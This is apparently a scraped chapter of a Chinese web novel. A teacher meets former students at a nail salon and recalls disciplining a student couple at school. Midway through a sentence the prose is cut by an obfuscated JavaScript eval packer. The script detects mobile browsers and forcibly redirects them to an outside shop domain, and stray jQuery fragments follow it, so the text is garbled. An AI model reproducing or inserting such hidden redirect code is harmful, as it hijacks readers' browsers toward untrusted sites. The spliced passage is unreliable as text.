严蕊棠伸出手指,发现淡粉色的猫眼在阳光的照射下闪现出润泽的光芒,比先前在店里的观感更上一层楼。
“嗯,这家店做得很不错哦。”
“诶,那我也想要同款!”何诗峤捧起严蕊棠的手,转向一旁的纪临灿,“好看吧?”
“这些我不太懂,你觉得好看就行。”纪临灿移开了眼神,伸手摸了一下鼻翼。
严蕊棠转向尤莉,笑着说道:“你看,我刚刚就说这都不用秀,肯定有人主动问,这不一出门就宣传上了。”
“你这边结束了打电话给我。”纪临灿对何诗峤小声说了一句。
何诗峤点点头,“好,一会儿我再联系你。”
“你要去哪儿?”严蕊棠问。
“我去找朋友打球。”纪临灿说完就要走,一秒都不能多留的样子。
难得看到他如此拘谨到局促的模样,严蕊棠只觉得稀奇又好笑。她转向昔日的两个学生,说道:“外面热,你们赶紧进店吧,我也要回去了。”
“下次要是想做其他项目再联系我。”尤莉举手在耳畔做了一个电话的手势。
“严老师再见!”何诗峤也摆摆手。
两人还是目送严蕊棠坐上小电驴才转身进了店。
尤莉领何诗峤到美甲区坐下,“你要做和严老师一样的款式吗?”
“是啊。”何诗峤很快反应过来,“你也叫她严老师呀?”
“我是她第一年带的学生。”
“哇,那就是学姐呢。”
“刚刚那个男生也是你们班的?”
“嗯,是的。”
“你男朋友?”
“是啊。”
尤莉抬头冲她笑了笑,“严老师没找你们谈话?”
“我俩六月就毕业了,已经不归学校管啦。”
“真好。”
“哎呀,也就我们学校还跟个老古董似的。这有什么大不了的嘛,明面上不让人谈,难道还能控制人心吗?又没有违法,干嘛要搞得偷偷摸摸好像做错了什么似的。”
“讲起来肯定是为学生好,要专心学习嘛。”
“但我觉得这些都是借口。会学习的人不受这些外部因素的影响,不会学习的人也可以找出一万个理由来,把锅全都甩到这些上面。就算谈恋爱不也得该上学上学、该上班上班嘛。”
“你倒是想得挺清楚的。”
“那是。”何诗峤也不假装谦虚。
“确实,我就是不太会学习,和有没有对象没有直接关系。”
“每个人都有擅长和不擅长的东西,也不一定要死磕考试。”
“是啊,我也是这么想的,所以还是做做擅长的事情好了。”
“学姐,你是假期打工吗?”
“这是我妈的店,我放假就在这儿帮忙。”
“哇,好厉害啊。”
“我小时候不太喜欢来这边,不过现在觉得这样还挺好的。客人都是女生,熟客为主,也没那么多烦心的事情。”
“严老师她经常来吗?”
“不经常,我也好久没看到她了。”
“没想到会在这儿见到她,看她状态挺好的,我也放心了。”
“她怎么了吗?”
“没怎么,就是上个月在泳池摔了一跤,当时都进医院了。”
“啊?什么情况?这么严重吗?”
“几天就出院了,但当时进了妇产科,把我们都吓了一跳。”
“妇产科?”
“严老师跟我们说没什么事,但好像是大腿那边割伤,要缝针,听着就疼。我也是听我男朋友讲的,还说是他哥主治的。”
“哥哥?”
“嗯。”
“妇产科医生?”
“听起来怪怪的?”
“哦,没,但因为是严老师的事情,就……不过没什么奇怪的,医生分什么男女嘛。”
“那个医生后来还来我们学校开新生青春期教育讲座了,严老师也去了。”
“那挺好的呀。”
“是挺好的,但我还蛮意外学校竟然会主动开这些讲座。我是在公众号上看到的,也不知道现场氛围怎么样。”
“原来严老师这个暑假这么忙,我都不知道。”
“马上开学,估计就更忙了。”
***
经过街角的玻璃幕墙时,严蕊棠被西斜的太阳晃了眼,停在红灯前将头盔的帽檐往下压了压,但没什么大用。
想到上次访谈的时候李秋旻就说纪临灿肯定有女朋友,她还觉得只是八卦心作祟,没想到还真在眼皮子底下。
要说一点儿都没察觉,那作为老师也太迟钝了,但不是班主任也没立场干涉其中,更不能妄加揣测,多一事不如少一事。
好在他俩没有滑铁卢,甚至还顺利考进了同一所大学同一专业,从结果来看,皆大欢喜。
相比之下,尤莉当年就没他们这么幸运了。
金仓县中有个不成文的规矩,那就是老师要轮流定期在学校方圆两公里以内的地方巡逻,包括但不限于网吧、游戏厅、溜冰场、酒吧等各种娱乐场所。
虽然是突击检查,但老师们的教学任务基本都排得很满,要抽出时间来义务加班也不是一件容易的事,还是有一定时间规律可循的。老油条们经过猫捉老鼠的一系列斗智斗勇,往往能全身而退,而靶子大多都是新入学的一批。
严蕊棠记得那次是第一学期期中考后,她跟着老谭在一家网吧的后门口堵到了两三个刚考完就出来放纵的学生。本来当天的指标已经完成了,可就在回学校的路上经过了新开的星巴克,不知怎的,她突然觉得应该犒劳一下大中午就出来暴晒的自己。
老谭见她眼巴巴地朝店里张望,也动了恻隐之心,说要请她喝一杯,但只能选三十块钱以下的。
于是两个进了店,点好单之后在一旁等候的间隙,老谭习惯性又开始扫视全场。不愧是二郎神,还真就让他看见了最角落里两个穿着校服的身影,两个脑袋凑在一块儿,一看就知道是一对小情侣。
严蕊棠顺着他犀利的目光望过去也注意到了那边,老谭站着没动,她也柱子似的在原地杵了一会儿。今天的目标是网吧,都结束了,下午还得忙着改卷子呢,是不是睁只眼闭只眼就算了?
很快,单也好了,严蕊棠从吧台上拿过两杯冷饮,“谭主任,这是你的。”
“嗯。”老谭接过她递过去的咖啡,竟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17574192|204679||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
然没多说什么。
两人走出星巴克,沿着墙角的阴凉处往停车的地方走。
路过落地窗拐角,老谭忽然停下脚步,挡住了一片光。
里面的人也随之抬起头,四目相对后,其中一人立刻起了身。
严蕊棠隔着玻璃认出来那是老谭班上的课代表,从口型可以看出对方对着老谭喊了一声“谭老师”。
这孩子每天都来办公室,所以她记得这张脸。她还记得老谭炫耀过,说他的课代表是班上前三名。老谭教的是快班,本来就比普通班孩子成绩好。
这一看,老谭的脸立刻就拉了下来,严蕊棠只能跟着停下来,可再往旁边一看,她也当场愣住了,怎么是尤莉?老谭带的(1)班和她带的(8)班都不在同一层,这么两个八杆子都打不着的人是怎么认识的?才半学期就谈上了?
好不容易点一次星巴克,严蕊棠已经不记得有没有来得及把它喝完了,只记得那天下午原本放假,但两个人都被请到了办公室。
老谭喊来了(1)班的班主任,而她就是(8)班那个倒霉催的班主任。
虽说挨骂的人是尤莉,但当着她的面,每一句话也都砸在了她的心里。
“你看看你无所谓的样子,你知道自己哪里做错了吗?不要把以前初中懒懒散散的风气带到这里来。”
“你不知道靳森是快班的苗子吗?他是以后要上清北复交的料子,你能追得上靳森的底子吗?能的话我就不多说你们什么,不能的话就不要去影响别人的前途。”
严蕊棠第一次抓早恋,经验不足,也只能以沉默应对。她不敢说,天天跑到(8)班教室后门来等尤莉的人难道不是靳森?尤莉到底做错了什么呢?
再后来,尤莉的妈妈也被喊到了学校,因为直到期末,两个人还是没有分手。
这次老谭没有出手,是严蕊棠这个班主任履行了义务。但她没想到,尤莉的妈妈竟然当着她的面哭了,更别想到尤莉妈妈在办公室里哭了的事情很快就传到了外面。
当时在场的就那么几个人,排除法不到一轮也能猜到个大概,但她还能去和别人对质,诘问对方为什么要在外面多嘴多舌吗?谁让做母亲的没有管教好孩子呢?
在金仓县中的高墙里,从来都是靠名次说话,成绩好的孩子总能得到更多宽容,就连她自己也在学生时候由此受了不少恩惠。
可是,如果她是一个足够好的老师,能把尤莉也教成班上前几名,是不是就不会出现那么多指责了呢?不过这一切都只是一道假设,事实却是她教课教得平平,尤莉学习也学得平平,谁也没有成为对方的宝贵救赎。
不知道尤莉有没有后悔过、怨恨过,但严蕊棠的的确确为此讨厌过老谭,只不过工作和生活依旧要继续下去,世界上很多关系都不是非黑即白一句话就能讲清楚的。
红灯转绿的一瞬,后面的车就立刻没耐心地响起了鸣笛。严蕊棠白了一眼空气,用力拧动车把手,朝着家的方向加速。一会儿一定要先跟李秋旻秀一波,让她也赶在返校前快来体验一把闪闪发光的美丽。
今晚的朋友圈,尤莉大概可以出好几组满意的客图了吧。
下次去的时候,再试试护肤和美容项目吧。